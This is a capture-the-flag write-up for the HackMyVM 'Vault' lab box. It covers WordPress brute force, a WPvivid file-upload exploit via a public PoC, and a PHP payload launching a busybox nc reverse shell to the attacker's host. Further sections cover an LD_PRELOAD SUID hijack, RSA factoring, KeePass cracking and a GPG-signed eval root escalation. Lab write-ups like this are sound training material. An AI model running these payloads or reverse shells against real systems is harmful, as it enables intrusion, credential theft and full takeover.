09/07/26

Vault

hackmyvm

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

Today, I am doing Vault, an easy Linux box running WordPress.

Recon

As usual, I started with Nmap.

bash
nmap -sV -sC 192.168.56.107

Nmap scan report for 192.168.56.107
Host is up (0.00096s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.66 ((Debian))
|_http-server-header: Apache/2.4.66 (Debian)
|_http-generator: WordPress 6.9.4
|_http-title: mazesec社区成员 – 加入我们
MAC Address: 08:00:27:FB:99:9F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only SSH and HTTP were open. The web server was Apache on Debian, and Nmap identified WordPress running on port 80.

Next, I moved to WordPress enumeration.

WordPress enumeration

I used WPScan for the normal WordPress checks first.

bash
wpscan --url http://192.168.56.107 --enumerate u,p --plugins-detection mixed --detection-mode mixed

[+] XML-RPC seems to be enabled: http://192.168.56.107/xmlrpc.php
[+] WordPress readme found: http://192.168.56.107/readme.html
[+] Upload directory has listing enabled: http://192.168.56.107/wp-content/uploads/
[+] WordPress version 6.9.4 identified
[+] WordPress theme in use: twentytwentyfive
[i] User(s) Identified:
[+] kaada

At this point, I had a valid WordPress username. I first tried rockyou.txt, but it failed, so I generated a custom wordlist with CeWL.

bash
cewl -d 2 -m 3 --with-numbers http://192.168.56.107/ | grep -P '^[\x20-\x7E]+$' | grep -E '^[A-Za-z0-9_@.!#$%^&*-]{3,64}$' | sort -u > english_wordlist.txt

This kept only English words and removed the Chinese words from the generated list.

Then I used WPScan to test the generated list against the discovered user:

bash
wpscan --url http://192.168.56.107 --usernames kaada --passwords english_wordlist.txt

WPScan found a valid login through XML-RPC:

text
[SUCCESS] - kaada / wea5e1

[!] Valid Combinations Found:
 | Username: kaada, Password: wea5e1

WordPress admin access

With the credentials, I logged in to WordPress:

text
http://192.168.56.107/wp-admin/
text
kaada : wea5e1

The account had WordPress administrator access. This is the important missing step for the WPvivid finding: the vulnerable plugin was present, but it needed to be active before the unauthenticated migration handler could be abused.

Activating WPvivid

Inside the WordPress admin panel, I checked the installed plugins and found WPvivid Backup & Migration available.

text
/wp-admin/plugins.php

After activating it, WPScan's plugin finding was worth testing again instead of being just an installed-but-inactive lead.

text
Plugin: wpvivid-backuprestore
Version: 0.9.122
Vulnerability: Migration, Backup, Staging < 0.9.124 - Unauthenticated Arbitrary File Upload
CVE: CVE-2026-1357

The reason the first unauthenticated exploit attempt can fail is simple: if the plugin is inactive, WordPress does not load its plugins_loaded handler. After activation, WPvivid registers the public POST handler that watches for:

text
wpvivid_action=send_to_site
wpvivid_content=<encrypted payload>

Testing CVE-2026-1357

For this part, I used the public PoC instead of writing a custom payload from scratch:

bash
git clone https://github.com/LucasM0ntes/POC-CVE-2026-1357.git
cd POC-CVE-2026-1357

The PoC needs the old phpseclib Rijndael implementation:

bash
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php

The exploit abuses WPvivid's site migration feature. The malicious encrypted JSON uses path traversal in the backup filename:

text
../uploads/pwn_remote.php

That makes the plugin write the PHP payload into the public uploads directory:

text
/wp-content/uploads/pwn_remote.php

The original PoC uploads a system($_GET["cmd"]) shell, but on this box that did not work reliably. First, I tried reading files such as wp-config.php to confirm that the PoC worked.

php
$shell_content = '<?php echo file_get_contents(__DIR__ . "/../../wp-config.php"); ?>';

Then I generated and sent the payload with the same PoC format:

bash
PAYLOAD=$(php exploit.php)

curl -i -s -X POST 'http://192.168.56.107/' \
  -d 'wpvivid_action=send_to_site' \
  --data-urlencode "wpvivid_content=$PAYLOAD"

This time the PoC worked and WPvivid wrote the PHP file into uploads:

text
HTTP/1.1 200 OK
{"result":"success","op":"finished"}

Then I opened the uploaded file:

bash
curl http://192.168.56.107/wp-content/uploads/pwn_remote.php

And confirmed wp-config.php without needing a shell:

php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'kaada' );
define( 'DB_PASSWORD', 'wea5e1' );
define( 'DB_HOST', 'localhost' );

Next, I tried to get a shell, but the first payload did not work. I read the phpinfo() page to check the PHP configuration and see which functions were disabled. From there, I found that exec was available.

For the phpinfo() payload, I used:

Note: when generating a new payload, the uploaded filename/path must be changed to something else, such as ../uploads/shell.php. Otherwise, sending the payload with curl may return this error: {'result':'failed','error':'File md5 is not matched.'}.

php
$shell_content = '<?php phpinfo(); ?>';

So I changed the payload to execute busybox nc:

php
$shell_content = <<<'PHP'
<?php
header('Content-Type: text/plain');

$out = [];
$code = 0;

exec(
    'busybox nc 192.168.56.101 4444 -e /bin/sh >/tmp/busybox_nc.log 2>&1 &',
    $out,
    $code
);

echo "Launch exit code: $code\n";
echo implode("\n", $out);
?>
PHP;

And I got a shell:

bash
ζ nc -lvnp 4444                                                                                                         
listening on [any] 4444 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.107] 47608
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@Vault:/var/www/wordpress/wp-content/uploads$

It took me a long time to find the next step. The intended file to exploit was /var/tmp/.sys_update, which pretended to be a system job and loaded /var/tmp/.service_config.

The plan was to hijack .sys_update by writing a malicious .service_config. The attack chain was:

bash
echo 'export LD_PRELOAD=/var/tmp/suid.so' > /var/tmp/.service_config 

After that, I created a malicious C file:

bash
cat > /var/tmp/suid.c <<'EOF'                                                                                                                                       
      #include <stdlib.h>                                                                                                                                                 
      __attribute__((constructor)) void init(){                                                                                                                           
       system("/bin/cp /bin/bash /var/tmp/fakebash; /bin/chmod 4755 /var/tmp/fakebash");                                                                                    
      }                                                                                                                                                                   
      EOF

Then I compiled it:

bash
gcc -shared -fPIC /var/tmp/suid.c -o /var/tmp/suid.so

After that, I waited around 30 seconds. Then the SUID Bash binary appeared.

After that, I used the SUID Bash binary to access ta0's files.

bash
/var/tmp/fakebash -p
bash-5.0$ id
uid=33(www-data) gid=33(www-data) euid=1000(ta0) groups=33(www-data)
bash-5.0$ whoami
ta0

First, I read the broken.txt and key files:

bash
cat /home/ta0/broken.txt
cat /home/ta0/key

The broken.txt file had three values, and it looked like an RSA cryptography puzzle.

We had N, e, and C. To recover the plaintext, we needed to find d, the private exponent.

Since d = e^-1 mod φ(N) and φ(N) = (p-1)(q-1), we needed to find p and q., I tried to use Fermat factorization in Python and it works.

python
from math import isqrt
from base64 import b64decode

N = 34290741416599402000364426406985307108788847346139849276056423456850484785031054576175547387593396760716456841067680666550537736929030835788005715533
e=65537
C=6306633972929323441109245980962040907076223927772663682932361844805694754336072683925275888222658229758199381118184386449967084124219498140114920047
a = isqrt(N)

if a * a < N:
    a += 1

while True:
    b2 = a * a - N
    b = isqrt(b2)

    if b * b == b2:
        p = a - b
        q = a + b
        break

    a += 1

print("p =", p)
print("q =", q)

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

message_integer = pow(C, d, N)
message = message_integer.to_bytes(
    (message_integer.bit_length() + 7) // 8,
    "big"
)

print(message.decode())

The script returned a flag-looking value, but it was actually the missing last part of the SSH key.

flag{sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==}

After fixing the corrupted parts of the key, the recovered key looked like this:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA8Le3BIFbL/x2Sj6XezgLN74alDkgAAAKA0SMbuYhfOdahinbXffT
5VvP/qBk9llf2jBMBGg0Jy2wMeAexvk8bRY18eEYVZTiES1alZgB//07hwSJWhfkd1l2Oh
ZGMjfOAQTo1ViBSdL9NaPe3Xqdy1398fglh6fsLYtAAism6RJI1KbCyBtTrUOGx5m/Fep2
DVs55XhuTEnq7cM/pnp8Wp1Kjuple/sUj0yTPm0L8zu6PLKLfrSFNKKGbDmiiS18wl6EgO
0/7awt3gNLBipJCxPaJuda6Zrs49lx0Pytd0uwwl/OhsHzqg6b8fXzKOZpy77+86+uAqol
A3puUCQV/QAAA8h6LZeOei2XjgAAAAdzc2gtcnNhAAABAQDwt7cEgVsv/HZKPpd7OAs3vh
qUOSAAAAoDRIxu5iF851qGKdtd99PlW8/+oGT2WV/aMEwEaDQnLbAx4B7G+TxtFjXx4RhV
lOIRLVqVmAH//TuHBIlaF+R3WXY6FkYyN84BBOjVWIFJ0v01o97dep3LXf3x+CWHp+wti0
ACKybpEkjUpsLIG1OtQ4bHmb8V6nYNWznleG5MSertwz+menxanUqO6mV7+xSPTJM+bQvz
O7o8sot+tIU0ooZsOaKJLXzCXoSA7T/trC3eA0sGKkkLE9om51rpmuzj2XHQ/K13S7DCX8
6GwfOqDpvx9fMo5mnLvv7zr64CqiUDem5QJBX9AAAAAwEAAQAAAQAqsescOXVbBYRVltR3
XnFe6bD9KUSru1YLTlU6NkcqSD6eHT5zZEmJHMe/eeNublu572cMQQ8/A7OEpSPQVtSI5K
+cvzf5tfaC5XBzqApyxQ+R2xQhjqtPH+cAVoMM1SkMtTo23QPRfEK9CNu2nNDwCTPJfyHo
9bfGPDSWLeEw5V0/2caiBTAWTLFaOY8RiISDU6RcSI5c/rTCHoBesIfUAsM7Y8eOB5+AqG
C9mUkDOTlAtoulEHGD7I799oQV/fdpeAuN/K/wvf33Xk8zdY9qRMNo+lyR0sDbRhalitmN
h9UzlV1AnEkFbuMjA8jY6UB6X2CY5V0wWs2/yxI2m81hAAAAgQDF7aw9j6alW3el9m0D1D
jqJhdis8rcGvHJn/twnA0Z2+zSvphlbn2Usks+HY7jEkTKmURccEAagWza2PphosJ8A/iB
TqYGygLTxnFL4rrOtKEE2QSwZ5GWZ2EVva7sVu70mA1Ei0mlFygD5VHcpAVavFlWeKsF87
0Jzht5plWIgwAAAIEA/jN85wH3aT1GW/4ndr8QVFQ9zeEPCPzWeUb9HlegPHvdfRcjiSN8
UZPtjTO4Qo4NSBd9KatNAn+5h+6wmFrjRCwNAqLy+eEyqgzbR51MNU4n1nkvG1YIEr4rXt
1llgpyGtny92AENbP3rYkSrAxt8XQQ+zjCKZTsmHhzeVkSEFcAAACBAPJrzN1zxtevT6Fi
fS19n1QHKZXzkM2qx8yLvtoDmcww+LpN3bNBFJM6oAGBaWi+z7wZ795PhrocBaX9JlRuuq
+GplGimONDqrMX468nOJLy61xZuj2L1hi8shWDranUEKwIQi9KHvYgjX4i9xoUfvVbB838
sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==
-----END OPENSSH PRIVATE KEY-----

After that, I was able to authenticate as Sublarge.

bash
bash-5.0$ ssh Sublarge@localhost -i key.fixed
Sublarge@Vault:~$ ls
ls
secrets.kdbx
Sublarge@Vault:~$ 

KeePass database (Not Worth it trust me , Go sudo -l )

During later local enumeration, I found a KeePass database:

bash
file secrets.kdbx
secrets.kdbx: Keepass password database 2.x KDBX

I downloaded secrets.kdbx to my local machine so I could convert it with keepass2john and try to crack it.

I started a Python HTTP server on the target machine:

bash
Sublarge@Vault:~$ python3 -m http.server 8888
bash
ζ wget http://192.168.56.107:8888/secrets.kdbx

Convert it for John:

bash
keepass2john secrets.kdbx > secrets.hash

After using a custom wordlist based on the information found on the machine, John confirmed that the KeePass password was the base64-looking value from the RSA puzzle.

bash
john --wordlist=custom_wordlist2.txt secrets.hash


secrets:sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==

The hash cracked successfully, so I opened the database:

bash
ζ keepassxc-cli open secrets.kdbx                                                                                                  
Enter password to unlock secrets.kdbx:
secrets.kdbx> ls
GPG_Pass
secrets.kdbx> show -s GPG_Pass
Title: GPG_Pass
UserName: Audit
Password: ppdvC4WIjYp5
URL: 
Notes: 
Uuid: {57f8faac-a89d-40bf-a240-d47ce88e7ac5}
Tags: 

Privilege escalation

I checked the sudo permissions for Sublarge:

Sublarge@Vault:~$ sudo -l
Matching Defaults entries for Sublarge on Vault:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User Sublarge may run the following commands on Vault:
    (root) NOPASSWD: /usr/local/bin/secure_audit

This sudo rule allowed privilege escalation because the script trusted files controlled by Sublarge.

bash
Sublarge@Vault:~$ cat /usr/local/bin/secure_audit
#!/bin/bash
GPG_BIN="/usr/bin/gpg"
PUB_KEY="/home/Sublarge/audit_pub.asc"
REPORT="/var/tmp/report.gpg"


$GPG_BIN --import "$PUB_KEY"


if $GPG_BIN --batch --trust-model always --verify "$REPORT"; then
    echo "[+] 签名验证通过,正在执行审计指令..."
    CMD=$($GPG_BIN --batch --decrypt "$REPORT" 2>/dev/null)
    eval "$CMD"
else
    echo "[-] 签名校验失败!"
    exit 1
fi

The bug is that the current user controls both the report file and the public key file. This means I can generate my own GPG key, export its public key to the path used by the script, place my command inside a signed report, and then run the binary.

bash
rm -rf /home/Sublarge/.auditgnupg
mkdir -m 700 /home/Sublarge/.auditgnupg

Next, I created a GPG batch file. This file tells gpg to generate a new RSA key automatically. I used %no-protection because no passphrase is needed for this exploit.

bash
cat > /home/Sublarge/gpgbatch <<'GPG'
Key-Type: RSA
Key-Length: 2048
Name-Real: Audit Owned
Name-Email: audit@vault.local
Expire-Date: 0
%no-protection
%commit
GPG

Then I generated the GPG key:

bash
Sublarge@Vault:~$ gpg --homedir /home/Sublarge/.auditgnupg --batch --gen-key /home/Sublarge/gpgbatch
gpg: keybox '/home/Sublarge/.auditgnupg/pubring.kbx' created
gpg: /home/Sublarge/.auditgnupg/trustdb.gpg: trustdb created
gpg: key F8E9F33CECE4A348 marked as ultimately trusted
gpg: directory '/home/Sublarge/.auditgnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/home/Sublarge/.auditgnupg/openpgp-revocs.d/0286E95F17855104F4A8559DF8E9F33CECE4A348.rev'

After that, I extracted the generated key ID. This ID was needed to export the matching public key and sign the malicious report.

bash
Sublarge@Vault:~$ KEYID=$(gpg --homedir /home/Sublarge/.auditgnupg --list-secret-keys --with-colons | awk -F: '/^sec/ {print $5; exit}')
gpg: checking the trustdb
gpg: marginals needed: 3  completes needed: 1  trust model: pgp
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u

Then I exported my public key to the exact path used by the vulnerable script. The script imports /home/Sublarge/audit_pub.asc before verifying the report. Because Sublarge controls this file, I could make the root script trust my own key.

bash
Sublarge@Vault:~$ gpg --homedir /home/Sublarge/.auditgnupg --armor --export "$KEYID" > /home/Sublarge/audit_pub.asc

After that, I created the command that I wanted root to execute. This command copies /bin/bash to /var/tmp/root and sets the SUID bit. Later, running /var/tmp/root -p gives a shell with effective root privileges.

bash
Sublarge@Vault:~$ echo 'cp /bin/bash /var/tmp/root; chmod 4755 /var/tmp/root' > /home/Sublarge/exploit

Finally, I signed the command file and saved the signed output as /var/tmp/report.gpg. This is the exact file that secure_audit verifies.

bash
Sublarge@Vault:~$ gpg --homedir /home/Sublarge/.auditgnupg --batch --yes --armor --clearsign -u "$KEYID" -o /var/tmp/report.gpg /home/Sublarge/exploit
Sublarge@Vault:~$ sudo /usr/local/bin/secure_audit
gpg: key F8E9F33CECE4A348: public key "Audit Owned <audit@vault.local>" imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:                using RSA key 0286E95F17855104F4A8559DF8E9F33CECE4A348
gpg: Good signature from "Audit Owned <audit@vault.local>" [unknown]
gpg: WARNING: Using untrusted key!
[+] 签名验证通过,正在执行审计指令...
Sublarge@Vault:~$ /var/tmp/root -p
root-5.0# whoami
root

I REALLY HATE THIS BOX